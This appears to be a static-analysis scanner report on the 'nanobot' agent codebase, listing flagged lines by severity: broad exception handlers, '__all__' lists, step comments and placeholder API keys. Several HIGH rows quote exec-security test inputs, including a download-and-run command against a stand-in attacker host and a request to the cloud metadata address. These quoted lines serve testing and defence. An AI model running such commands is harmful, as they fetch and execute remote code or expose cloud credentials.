| LOW | tui/scripts/conpty_smoke.py | 4 | CODE | |
| LOW | tui/scripts/pty_smoke.py | 9 | CODE | |
| LOW | tui/scripts/package-release.py | 3 | CODE | |
| LOW | nanobot/nanobot.py | 3 | CODE | |
| LOW | nanobot/nanobot.py | 16 | CODE | |
| LOW | nanobot/nanobot.py | 24 | CODE | |
| LOW | nanobot/nanobot.py | 24 | CODE | |
| LOW | nanobot/nanobot.py | 24 | CODE | |
| LOW | nanobot/nanobot.py | 24 | CODE | |
| LOW | nanobot/nanobot.py | 24 | CODE | |
| LOW | nanobot/nanobot.py | 24 | CODE | |
| LOW | nanobot/nanobot.py | 24 | CODE | |
| LOW | nanobot/nanobot.py | 24 | CODE | |
| LOW | nanobot/nanobot.py | 24 | CODE | |
| LOW | nanobot/nanobot.py | 24 | CODE | |
| LOW | nanobot/nanobot.py | 24 | CODE | |
| LOW | nanobot/process_runtime.py | 3 | CODE | |
| LOW | nanobot/optional_features.py | 2 | CODE | |
| LOW | nanobot/runtime_context.py | 3 | CODE | |
| LOW | nanobot/__init__.py | 12 | CODE | |
| LOW | nanobot/__init__.py | 13 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 14 | CODE | |
| LOW | nanobot/__init__.py | 35 | CODE | |
| LOW | nanobot/__init__.py | 35 | CODE | |
| LOW | nanobot/pairing/store.py | 8 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/pairing/__init__.py | 3 | CODE | |
| LOW | nanobot/llm_usage/store.py | 3 | CODE | |
| LOW | nanobot/llm_usage/models.py | 3 | CODE | |
| LOW | nanobot/llm_usage/__init__.py | 3 | CODE | |
| 499 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | nanobot/nanobot.py | 296 | except Exception as exc: | CODE |
| LOW | nanobot/optional_features.py | 515 | except Exception as exc: | CODE |
| LOW | nanobot/optional_features.py | 696 | except Exception as exc: | CODE |
| LOW | nanobot/optional_features.py | 722 | except Exception as exc: | CODE |
| LOW | nanobot/llm_usage/__init__.py | 59 | except Exception: | CODE |
| LOW | nanobot/llm_usage/__init__.py | 73 | except Exception: | CODE |
| LOW | nanobot/config/timezone.py | 17 | except Exception: | CODE |
| LOW | nanobot/security/network.py | 102 | except Exception as e: | CODE |
| LOW | nanobot/security/network.py | 158 | except Exception: | CODE |
| LOW | nanobot/security/network.py | 224 | except Exception: | CODE |
| LOW | nanobot/security/network.py | 295 | except Exception: | CODE |
| LOW | nanobot/triggers/local_store.py | 214 | except Exception: | CODE |
| LOW | nanobot/triggers/local_store.py | 234 | except Exception: | CODE |
| LOW | nanobot/triggers/local_store.py | 332 | except Exception as exc: | CODE |
| LOW | nanobot/triggers/local_store.py | 400 | except Exception: | CODE |
| LOW | nanobot/triggers/local_runner.py | 103 | except Exception as exc: | CODE |
| LOW | nanobot/triggers/local_runner.py | 186 | except Exception: | CODE |
| LOW | nanobot/providers/image_generation.py | 559 | except Exception: | CODE |
| LOW | nanobot/providers/image_generation.py | 1415 | except Exception as exc: | CODE |
| LOW | nanobot/providers/image_generation.py | 1603 | except Exception: | CODE |
| LOW | nanobot/providers/image_generation.py | 1624 | except Exception: | CODE |
| LOW | nanobot/providers/transcription.py | 146 | except Exception as e: | CODE |
| LOW | nanobot/providers/transcription.py | 173 | except Exception as e: | CODE |
| LOW | nanobot/providers/transcription.py | 179 | except Exception as e: | CODE |
| LOW | nanobot/providers/transcription.py | 460 | except Exception as e: | CODE |
| LOW | nanobot/providers/transcription.py | 487 | except Exception as e: | CODE |
| LOW | nanobot/providers/transcription.py | 493 | except Exception as e: | CODE |
| LOW | nanobot/providers/bedrock_provider.py | 129 | except Exception: | CODE |
| LOW | nanobot/providers/bedrock_provider.py | 219 | except Exception: | CODE |
| LOW | nanobot/providers/bedrock_provider.py | 748 | except Exception as e: | CODE |
| LOW | nanobot/providers/bedrock_provider.py | 814 | except Exception as e: | CODE |
| LOW | nanobot/providers/openai_codex_oauth.py | 141 | except Exception as exc: | CODE |
| LOW | nanobot/providers/openai_codex_oauth.py | 181 | except Exception: | CODE |
| MEDIUM | nanobot/providers/openai_codex_oauth.py | 132 | def _run(self) -> None: | CODE |
| LOW | nanobot/providers/xai_oauth.py | 224 | except Exception as exc: | CODE |
| LOW⚡ | nanobot/providers/openai_compat_provider.py | 682 | except Exception: | CODE |
| LOW | nanobot/providers/openai_compat_provider.py | 256 | except Exception: | CODE |
| LOW | nanobot/providers/openai_compat_provider.py | 447 | except Exception: | CODE |
| LOW | nanobot/providers/openai_compat_provider.py | 1349 | except Exception as exc: | CODE |
| LOW | nanobot/providers/openai_compat_provider.py | 1831 | except Exception: | CODE |
| LOW | nanobot/providers/openai_compat_provider.py | 1957 | except Exception as responses_error: | CODE |
| LOW | nanobot/providers/openai_compat_provider.py | 1978 | except Exception as e: | CODE |
| LOW | nanobot/providers/openai_compat_provider.py | 2053 | except Exception as responses_error: | CODE |
| LOW | nanobot/providers/openai_compat_provider.py | 2146 | except Exception as e: | CODE |
| LOW | nanobot/providers/xai_grok_provider.py | 94 | except Exception as exc: | CODE |
| LOW | nanobot/providers/xai_grok_provider.py | 219 | except Exception as exc: | CODE |
| LOW | nanobot/providers/azure_openai_provider.py | 87 | except Exception: | CODE |
| LOW | nanobot/providers/azure_openai_provider.py | 254 | except Exception as exc: | CODE |
| LOW | nanobot/providers/azure_openai_provider.py | 362 | except Exception as e: | CODE |
| LOW | nanobot/providers/azure_openai_provider.py | 414 | except Exception as e: | CODE |
| LOW | nanobot/providers/openai_codex_provider.py | 153 | except Exception as exc: | CODE |
| LOW | nanobot/providers/openai_codex_provider.py | 207 | except Exception as compact_error: | CODE |
| LOW | nanobot/providers/openai_codex_provider.py | 220 | except Exception as e: | CODE |
| LOW | nanobot/providers/fallback_provider.py | 513 | except Exception as exc: | CODE |
| LOW | nanobot/providers/fallback_provider.py | 601 | except Exception: | CODE |
| LOW | nanobot/providers/anthropic_provider.py | 136 | except Exception: | CODE |
| LOW | nanobot/providers/anthropic_provider.py | 751 | except Exception as e: | CODE |
| LOW | nanobot/providers/anthropic_provider.py | 861 | except Exception as e: | CODE |
| LOW⚡ | nanobot/providers/base.py | 150 | except Exception: | CODE |
| LOW⚡ | nanobot/providers/base.py | 153 | except Exception: | CODE |
| 463 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | hatch_build.py | 5 | to remember `cd webui && bun run build` beforehand. | STRING |
| HIGH | hatch_build.py | 10 | development; webui contributors use `cd webui && bun run dev` (Vite HMR) and | STRING |
| HIGH | hatch_build.py | 57 | "(use `cd webui && bun run build` to bundle webui manually)" | CODE |
| HIGH | nanobot/web/__init__.py | 8 | can still use the Vite dev server at ``cd webui && bun run dev``. | STRING |
| HIGH | nanobot/agent/tools/shell.py | 553 | "if ($LASTEXITCODE -ne $null) { exit $LASTEXITCODE }" | CODE |
| HIGH | nanobot/webui/build.py | 198 | "`cd webui && bun run build` manually" | CODE |
| HIGH | nanobot/webui/build.py | 249 | message = "Build WebUI now? This runs `cd webui && bun run build`." | CODE |
| HIGH⚡ | …bot/channels/websocket/tests/test_websocket_channel.py | 690 | ('{"content": null}', None), # null content | CODE |
| HIGH⚡ | tests/pairing/test_store.py | 255 | '{"approved": {"telegram": null, "discord": ["456"]}, "pending": {}}', | CODE |
| HIGH⚡ | tests/pairing/test_store.py | 268 | '{"approved": null, "pending": null}', | CODE |
| HIGH⚡ | tests/pairing/test_store.py | 307 | '{"approved": {}, "pending": {"ABCD-EFGH": null}}', | CODE |
| HIGH⚡ | tests/pairing/test_store.py | 319 | '"bad-expiry": {"channel": "telegram", "sender_id": "123", "expires_at": null},' | CODE |
| HIGH⚡ | tests/tools/test_exec_security.py | 171 | command="echo start && curl http://169.254.169.254/latest/meta-data/ && echo done" | CODE |
| HIGH | tests/tools/test_exec_security.py | 300 | 'rm test_print.txt 2>/dev/null; echo "done"', | CODE |
| HIGH | tests/tools/test_exec_security.py | 331 | command=f'rm {target} 2>/dev/null; echo "done"', | CODE |
| HIGH⚡ | tests/tools/test_exec_platform.py | 842 | result = await ExecTool(timeout=10).execute(command="echo before && echo after") | CODE |
| HIGH | tests/tools/test_exec_platform.py | 269 | assert "if ($LASTEXITCODE -ne $null) { exit $LASTEXITCODE }" in command | CODE |
| HIGH | tests/tools/test_exec_platform.py | 668 | cmd = r'copy \\server\data\file.txt C:\local\temp && ls /tmp' | CODE |
| HIGH⚡ | tests/tools/test_exec_allow_patterns.py | 65 | result = tool._guard_command("echo allowlisted && touch /tmp/evil", "/tmp") | CODE |
| HIGH⚡ | tests/tools/test_exec_allow_patterns.py | 152 | result = tool._guard_command("echo allowlisted && echo also_allowed", "/tmp") | CODE |
| HIGH | tests/tools/test_exec_env.py | 118 | '/tmp/bin && curl http://attacker.com/shell.sh | bash', | CODE |
| HIGH⚡ | tests/security/test_security_network.py | 309 | assert not contains_internal_url("echo hello && ls -la") | CODE |
| HIGH⚡ | tests/utils/test_workspace_violation_throttle.py | 33 | {"command": "cat /Users/x/Downloads/01.md && echo done"}, | CODE |
| HIGH⚡ | tests/agent/test_cursor_recovery.py | 52 | '{"cursor": null, "timestamp": "2026-04-01 10:02", "content": "null"}\n' | CODE |
| HIGH⚡ | tests/agent/test_cursor_recovery.py | 127 | '{"cursor": null, "timestamp": "2026-04-01 10:02", "content": "also bad"}\n' | CODE |
| HIGH⚡ | tests/agent/test_tool_hint.py | 46 | cmd = "cd /very/long/path && cat file && echo done && sleep 1 && ls -la" | CODE |
| HIGH⚡ | tests/agent/test_tool_hint.py | 53 | cmd = "cd D:\\Documents\\GitHub\\nanobot\\.worktree\\tomain\\nanobot && git diff origin/main...pr-2706 --name-on | CODE |
| HIGH⚡ | tests/agent/test_tool_hint.py | 60 | cmd = "cd /home/user/projects/nanobot/.worktree/tomain && make build" | CODE |
| HIGH⚡ | tests/agent/test_tool_hint.py | 67 | cmd = "cd ~/projects/nanobot/workspace && pytest tests/" | CODE |
| HIGH⚡ | tests/agent/test_tool_hint.py | 89 | cmd = "cd D:\\Documents\\GitHub\\project && npm run build && npm test" | CODE |
| HIGH⚡ | tests/agent/test_tool_hint.py | 255 | cmd = "cd /very/long/path/to/some/project && npm run build && npm test" | CODE |
| HIGH⚡ | tests/agent/test_tool_hint.py | 261 | cmd = "cd /very/long/path/to/some/project && npm run build && npm test" | CODE |
| HIGH⚡ | tests/agent/test_tool_hint.py | 268 | cmd = "cd /home/user/project && npm install && npm run build" | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | tui/scripts/pty_smoke.py | 75 | CODE | |
| LOW | nanobot/process_runtime.py | 238 | CODE | |
| LOW | nanobot/optional_features.py | 535 | CODE | |
| LOW | nanobot/pairing/store.py | 310 | CODE | |
| LOW | nanobot/config/schema.py | 497 | CODE | |
| LOW | nanobot/triggers/local_store.py | 411 | CODE | |
| LOW | nanobot/providers/image_generation.py | 154 | CODE | |
| LOW | nanobot/providers/image_generation.py | 1575 | CODE | |
| LOW | nanobot/providers/image_generation.py | 1634 | CODE | |
| LOW | nanobot/providers/image_generation.py | 794 | CODE | |
| LOW | nanobot/providers/bedrock_provider.py | 348 | CODE | |
| LOW | nanobot/providers/bedrock_provider.py | 543 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 686 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 1230 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 1380 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 1511 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 1658 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 1818 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 1925 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 1981 | CODE | |
| LOW | nanobot/providers/factory.py | 76 | CODE | |
| LOW | nanobot/providers/factory.py | 150 | CODE | |
| LOW | nanobot/providers/xai_grok_provider.py | 583 | CODE | |
| LOW | nanobot/providers/azure_openai_provider.py | 270 | CODE | |
| LOW | nanobot/providers/openai_codex_provider.py | 510 | CODE | |
| LOW | nanobot/providers/openai_codex_provider.py | 73 | CODE | |
| LOW | nanobot/providers/fallback_provider.py | 414 | CODE | |
| LOW | nanobot/providers/anthropic_provider.py | 123 | CODE | |
| LOW | nanobot/providers/anthropic_provider.py | 188 | CODE | |
| LOW | nanobot/providers/anthropic_provider.py | 298 | CODE | |
| LOW | nanobot/providers/anthropic_provider.py | 577 | CODE | |
| LOW | nanobot/providers/anthropic_provider.py | 659 | CODE | |
| LOW | nanobot/providers/anthropic_provider.py | 769 | CODE | |
| LOW | nanobot/providers/base.py | 794 | CODE | |
| LOW | nanobot/providers/base.py | 984 | CODE | |
| LOW | nanobot/providers/base.py | 1033 | CODE | |
| LOW | nanobot/providers/base.py | 1102 | CODE | |
| LOW | nanobot/providers/base.py | 1142 | CODE | |
| LOW | nanobot/providers/base.py | 1572 | CODE | |
| LOW | nanobot/providers/openai_responses/parsing.py | 92 | CODE | |
| LOW | nanobot/providers/openai_responses/parsing.py | 355 | CODE | |
| LOW | nanobot/providers/openai_responses/parsing.py | 563 | CODE | |
| LOW | nanobot/providers/openai_responses/parsing.py | 587 | CODE | |
| LOW | nanobot/providers/openai_responses/parsing.py | 661 | CODE | |
| LOW | nanobot/providers/openai_responses/converters.py | 15 | CODE | |
| LOW | nanobot/providers/openai_responses/converters.py | 81 | CODE | |
| LOW | nanobot/providers/openai_responses/converters.py | 107 | CODE | |
| LOW | nanobot/utils/gitstore.py | 174 | CODE | |
| LOW | nanobot/utils/gitstore.py | 230 | CODE | |
| LOW | nanobot/utils/gitstore.py | 300 | CODE | |
| LOW | nanobot/utils/gitstore.py | 417 | CODE | |
| LOW | nanobot/utils/gitstore.py | 444 | CODE | |
| LOW | nanobot/utils/run_records.py | 37 | CODE | |
| LOW | nanobot/utils/file_edit_events.py | 255 | CODE | |
| LOW | nanobot/utils/document.py | 99 | CODE | |
| LOW | nanobot/utils/document.py | 238 | CODE | |
| LOW | nanobot/utils/document.py | 249 | CODE | |
| LOW | nanobot/utils/path.py | 10 | CODE | |
| LOW | nanobot/utils/helpers.py | 471 | CODE | |
| LOW | nanobot/utils/helpers.py | 674 | CODE | |
| 173 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | nanobot/nanobot.py | 45 | __all__ = [ | CODE |
| LOW | nanobot/__init__.py | 96 | __all__ = [ | CODE |
| LOW | nanobot/pairing/__init__.py | 22 | __all__ = [ | CODE |
| LOW | nanobot/llm_usage/__init__.py | 78 | __all__ = [ | CODE |
| LOW | nanobot/config/__init__.py | 19 | __all__ = [ | CODE |
| LOW | nanobot/config/loader.py | 29 | def set_config_path(path: Path) -> None: | CODE |
| LOW | nanobot/triggers/__init__.py | 11 | __all__ = [ | CODE |
| LOW | nanobot/providers/__init__.py | 10 | __all__ = [ | CODE |
| LOW⚡ | nanobot/providers/fallback_provider.py | 151 | def set_fallback_model_observer(self, observer: FallbackModelObserver | None) -> None: | CODE |
| LOW⚡ | nanobot/providers/fallback_provider.py | 155 | def set_llm_call_observer(self, observer: LLMCallObserver | None) -> None: | CODE |
| LOW | nanobot/providers/base.py | 693 | def set_llm_call_observer(self, observer: LLMCallObserver | None) -> None: | CODE |
| LOW | nanobot/providers/openai_responses/__init__.py | 30 | __all__ = [ | CODE |
| LOW | nanobot/bus/__init__.py | 6 | __all__ = ["MessageBus", "InboundMessage", "OutboundMessage"] | CODE |
| LOW | nanobot/utils/__init__.py | 12 | __all__ = ["ensure_dir", "abbreviate_path"] | CODE |
| LOW | nanobot/agent/plugins.py | 249 | def set_agent_plugin_enabled(workspace: Path, name: str, enabled: bool) -> None: | CODE |
| LOW | nanobot/agent/subagent.py | 163 | def set_provider(self, provider: LLMProvider, model: str) -> None: | CODE |
| LOW | nanobot/agent/memory.py | 526 | def set_last_dream_cursor(self, cursor: int) -> None: | CODE |
| LOW | nanobot/agent/__init__.py | 17 | __all__ = [ | CODE |
| LOW | nanobot/agent/loop.py | 2267 | def _set_runtime_checkpoint(self, session: Session, payload: dict[str, Any]) -> None: | CODE |
| LOW | nanobot/agent/tools/mcp_oauth.py | 271 | async def set_tokens(self, tokens: OAuthToken) -> None: | CODE |
| LOW | nanobot/agent/tools/mcp_oauth.py | 296 | async def set_client_info(self, client_info: OAuthClientInformationFull) -> None: | CODE |
| LOW | nanobot/agent/tools/__init__.py | 17 | __all__ = [ | CODE |
| LOW | nanobot/agent/tools/message.py | 103 | def set_send_callback(self, callback: Callable[[OutboundMessage], Awaitable[None]]) -> None: | CODE |
| LOW | nanobot/agent/tools/_windows_job.py | 108 | def _set_kill_on_close(handle: int, enabled: bool) -> None: | CODE |
| LOW | nanobot/agent/tools/context.py | 48 | def set_context(self, ctx: RequestContext) -> None: | CODE |
| LOW⚡ | nanobot/agent/tools/mcp.py | 512 | def _set_mcp_connection(self, session: ClientSession, server_name: str) -> None: | CODE |
| LOW⚡ | nanobot/agent/tools/mcp.py | 517 | def set_reconnect_handler(self, reconnect: _ReconnectCallback) -> None: | CODE |
| LOW⚡ | nanobot/agent/tools/runtime_control.py | 101 | def set_max_iterations(self, value: int) -> None: ... | CODE |
| LOW⚡ | nanobot/agent/tools/runtime_control.py | 105 | def set_provider_retry_mode(self, value: str) -> None: ... | CODE |
| LOW⚡ | nanobot/agent/tools/runtime_control.py | 107 | def set_max_tool_result_chars(self, value: int) -> None: ... | CODE |
| LOW⚡ | nanobot/agent/tools/runtime_control.py | 109 | def set_workspace_display(self, value: str) -> None: ... | CODE |
| LOW⚡ | nanobot/agent/tools/runtime_control.py | 111 | def set_scratchpad(self, key: str, value: JsonValue, *, max_keys: int) -> None: ... | CODE |
| LOW⚡ | nanobot/agent/tools/runtime_control.py | 194 | def set_max_iterations(self, value: int) -> None: | CODE |
| LOW⚡ | nanobot/agent/tools/runtime_control.py | 201 | def set_provider_retry_mode(self, value: str) -> None: | CODE |
| LOW⚡ | nanobot/agent/tools/runtime_control.py | 204 | def set_max_tool_result_chars(self, value: int) -> None: | CODE |
| LOW⚡ | nanobot/agent/tools/runtime_control.py | 207 | def set_workspace_display(self, value: str) -> None: | CODE |
| LOW⚡ | nanobot/agent/tools/runtime_control.py | 211 | def set_scratchpad(self, key: str, value: JsonValue, *, max_keys: int) -> None: | CODE |
| LOW | nanobot/agent/tools/loader.py | 166 | def set_context(self, ctx: RequestContext) -> None: | CODE |
| LOW | nanobot/agent/hooks/__init__.py | 8 | __all__ = [ | CODE |
| LOW | nanobot/cli/gateway_runtime.py | 46 | __all__ = ["_run_gateway"] | CODE |
| LOW⚡ | nanobot/cli/onboard.py | 1594 | def _set_primary_quick_start_preset(config: Config, provider_name: str, model: str) -> None: | CODE |
| LOW | nanobot/cli/runtime_config.py | 13 | __all__ = [ | CODE |
| LOW | nanobot/cli/terminal.py | 34 | __all__ = [ | CODE |
| LOW | nanobot/cli/webui_support.py | 35 | __all__ = [ | CODE |
| LOW | nanobot/cli/process_identity.py | 13 | def _set_process_title(title: str) -> None: | CODE |
| LOW | nanobot/cli/process_identity.py | 22 | def set_cli_process_identity(args: list[str]) -> None: | CODE |
| LOW | nanobot/cli/log_control.py | 5 | __all__ = ["_set_nanobot_logs"] | CODE |
| LOW | nanobot/cli/log_control.py | 8 | def _set_nanobot_logs(enabled: bool) -> None: | CODE |
| LOW | nanobot/webui/settings_capabilities.py | 289 | def set_search_value(attr: str, value: object) -> None: | CODE |
| LOW | nanobot/webui/settings_capabilities.py | 295 | def set_fetch_value(attr: str, value: object) -> None: | CODE |
| LOW | nanobot/webui/settings_capabilities.py | 359 | def update_api_settings(config: Config, query: QueryParams) -> None: | CODE |
| LOW | nanobot/webui/mcp_presets_runtime.py | 5 | __all__ = ["session_extra"] | CODE |
| LOW | nanobot/webui/version_check.py | 17 | logger = logging.getLogger(__name__) | CODE |
| LOW | nanobot/command/__init__.py | 6 | __all__ = ["CommandContext", "CommandRouter", "register_builtin_commands"] | CODE |
| LOW | nanobot/apps/__init__.py | 5 | __all__ = ["APP_PROTOCOL_SCHEMA", "app_manifest"] | CODE |
| LOW | nanobot/apps/cli/__init__.py | 9 | __all__ = [ | CODE |
| LOW | nanobot/gateway/__init__.py | 15 | __all__ = [ | CODE |
| LOW | nanobot/cron/__init__.py | 10 | __all__ = ["CronService", "CronJob", "CronSchedule"] | CODE |
| LOW | nanobot/channels/connect.py | 24 | __all__ = ["ChannelConnectError", "QueryParams", "query_first"] | CODE |
| LOW | nanobot/channels/registry.py | 97 | __all__ = [ | CODE |
| 30 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | nanobot/nanobot.py | 144 | CODE | |
| LOW | nanobot/nanobot.py | 205 | CODE | |
| LOW | nanobot/nanobot.py | 310 | CODE | |
| LOW | nanobot/providers/bedrock_provider.py | 54 | CODE | |
| LOW | nanobot/providers/bedrock_provider.py | 751 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 510 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 1981 | CODE | |
| LOW | nanobot/providers/github_copilot_provider.py | 271 | CODE | |
| LOW | nanobot/providers/xai_grok_provider.py | 248 | CODE | |
| LOW | nanobot/providers/azure_openai_provider.py | 365 | CODE | |
| LOW | nanobot/providers/openai_codex_provider.py | 266 | CODE | |
| LOW | nanobot/providers/anthropic_provider.py | 769 | CODE | |
| LOW | nanobot/providers/base.py | 1200 | CODE | |
| LOW | nanobot/providers/base.py | 1342 | CODE | |
| LOW | nanobot/providers/base.py | 1406 | CODE | |
| LOW | nanobot/agent/subagent.py | 96 | CODE | |
| LOW | nanobot/agent/subagent.py | 229 | CODE | |
| LOW | nanobot/agent/subagent.py | 293 | CODE | |
| LOW | nanobot/agent/context.py | 269 | CODE | |
| LOW | nanobot/agent/loop.py | 256 | CODE | |
| LOW | nanobot/agent/loop.py | 930 | CODE | |
| LOW | nanobot/agent/loop.py | 1570 | CODE | |
| LOW | nanobot/agent/loop.py | 2282 | CODE | |
| LOW | nanobot/agent/tools/filesystem.py | 46 | CODE | |
| LOW | nanobot/agent/tools/shell.py | 195 | CODE | |
| LOW | nanobot/agent/tools/shell.py | 274 | CODE | |
| LOW | nanobot/agent/tools/search.py | 353 | CODE | |
| LOW | nanobot/agent/tools/search.py | 674 | CODE | |
| LOW | nanobot/cli/gateway_runtime.py | 340 | CODE | |
| LOW | nanobot/cli/gateway.py | 352 | CODE | |
| LOW | nanobot/cli/webui.py | 73 | CODE | |
| LOW | nanobot/cli/agent.py | 54 | CODE | |
| LOW | nanobot/webui/gateway_services.py | 53 | CODE | |
| LOW | nanobot/webui/ws_http.py | 304 | CODE | |
| LOW | nanobot/webui/transcript.py | 2558 | CODE | |
| LOW | nanobot/webui/dev.py | 124 | CODE | |
| LOW | nanobot/cron/service.py | 653 | CODE | |
| LOW | nanobot/channels/manager.py | 89 | CODE | |
| LOW | …channels/websocket/tests/test_websocket_http_routes.py | 71 | CODE | |
| LOW | …channels/websocket/tests/test_websocket_http_routes.py | 111 | CODE | |
| LOW | nanobot/channels/discord/tests/test_discord_channel.py | 172 | CODE | |
| LOW | nanobot/channels/feishu/tests/test_feishu_reply.py | 51 | CODE | |
| LOW | nanobot/channels/matrix/runtime.py | 506 | CODE | |
| LOW | nanobot/channels/signal/tests/test_signal_channel.py | 84 | CODE | |
| LOW | nanobot/channels/signal/tests/test_signal_channel.py | 665 | CODE | |
| LOW | tests/agent/conftest.py | 42 | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | nanobot/channels/email/tests/test_email_channel.py | 1518 | # Create a real temp file to attach | COMMENT |
| MEDIUM | tests/test_api_attachment.py | 275 | # Create a file larger than 10MB | COMMENT |
| MEDIUM⚡ | tests/test_document_parsing.py | 479 | # Create a minimal PNG file (1x1 pixel) | COMMENT |
| MEDIUM | tests/providers/test_image_generation.py | 1878 | # Create a temporary image file | COMMENT |
| MEDIUM⚡ | tests/agent/test_unified_session.py | 460 | # Create a message from telegram channel | COMMENT |
| MEDIUM⚡ | tests/agent/test_unified_session.py | 488 | # Create a long-running task stored under UNIFIED_SESSION_KEY | COMMENT |
| MEDIUM⚡ | tests/agent/test_unified_session.py | 495 | # Create a message that would have session_key=UNIFIED_SESSION_KEY after dispatch | COMMENT |
| MEDIUM⚡ | tests/agent/test_onboard_logic.py | 202 | # Create a mock field_info with None annotation | COMMENT |
| MEDIUM | tests/channels/test_channel_plugins.py | 3506 | # Create a real cancelled task | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | nanobot/skills/update-setup/SKILL.md | 15 | ## Step 1: Check Existing | COMMENT |
| LOW | nanobot/skills/update-setup/SKILL.md | 21 | ## Step 2: Current Version and Install Clues | COMMENT |
| LOW | nanobot/skills/update-setup/SKILL.md | 38 | ## Step 3: Confirm Required Inputs | COMMENT |
| LOW | nanobot/skills/update-setup/SKILL.md | 80 | ## Step 4: Generate Skill | COMMENT |
| LOW | nanobot/skills/update-setup/SKILL.md | 126 | ## Step 5: Confirm | COMMENT |
| LOW | nanobot/skills/skill-creator/SKILL.md | 222 | ### Step 1: Understanding the Skill with Concrete Examples | COMMENT |
| LOW | nanobot/skills/skill-creator/SKILL.md | 239 | ### Step 2: Planning the Reusable Skill Contents | COMMENT |
| LOW | nanobot/skills/skill-creator/SKILL.md | 263 | ### Step 3: Initializing the Skill | COMMENT |
| LOW | nanobot/skills/skill-creator/SKILL.md | 296 | ### Step 4: Edit the Skill | COMMENT |
| LOW | nanobot/skills/skill-creator/SKILL.md | 337 | ### Step 5: Packaging a Skill | COMMENT |
| LOW | nanobot/skills/skill-creator/SKILL.md | 365 | ### Step 6: Iterate | COMMENT |
| LOW | nanobot/channels/dingtalk/runtime.py | 859 | # Step 1: Exchange downloadCode for a temporary download URL | COMMENT |
| LOW | nanobot/channels/dingtalk/runtime.py | 874 | # Step 2: Download the file content | COMMENT |
| LOW | nanobot/channels/wecom/runtime.py | 458 | # Step 1: init | COMMENT |
| LOW | nanobot/channels/wecom/runtime.py | 475 | # Step 2: send chunks | COMMENT |
| LOW | nanobot/channels/wecom/runtime.py | 487 | # Step 3: finish | COMMENT |
| LOW | nanobot/channels/weixin/runtime.py | 2395 | # Step 1: Get upload URL from server (prefer upload_full_url, fallback to upload_param) | COMMENT |
| LOW | nanobot/channels/weixin/runtime.py | 2421 | # Step 2: AES-128-ECB encrypt and POST to CDN | COMMENT |
| LOW | nanobot/channels/weixin/runtime.py | 2449 | # Step 3: Send message with the media item | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | docs/configuration.md | 1059 | "apiKey": "your-api-key", | CODE |
| HIGH | docs/configuration.md | 1087 | > "apiKey": "your-api-key", | CODE |
| HIGH | docs/configuration.md | 1116 | "apiKey": "your-api-key", | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | nanobot/agent/tools/filesystem.py | 227 | # Check if resolved path starts with /dev/ (covers symlinks to devices) | COMMENT |
| LOW | nanobot/agent/tools/filesystem.py | 381 | # Read the file content after dedup check | COMMENT |
| LOW⚡ | nanobot/cli/onboard.py | 1061 | # Check if context_window_tokens field exists | COMMENT |
| LOW⚡ | nanobot/cli/onboard.py | 1067 | # Check if current value is the default | COMMENT |
| LOW | nanobot/skills/skill-creator/scripts/init_skill.py | 282 | # Check if directory already exists | COMMENT |
| LOW | nanobot/channels/manager.py | 890 | # Check if this message belongs to the same stream | COMMENT |
| LOW | nanobot/channels/wecom/runtime.py | 438 | # Read file size and data in a thread to avoid blocking the event loop | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | nanobot/channels/dingtalk/runtime.py | 859 | # Step 1: Exchange downloadCode for a temporary download URL | COMMENT |
| LOW | nanobot/channels/dingtalk/runtime.py | 874 | # Step 2: Download the file content | COMMENT |
| LOW | nanobot/channels/wecom/runtime.py | 458 | # Step 1: init | COMMENT |
| LOW | nanobot/channels/wecom/runtime.py | 475 | # Step 2: send chunks | COMMENT |
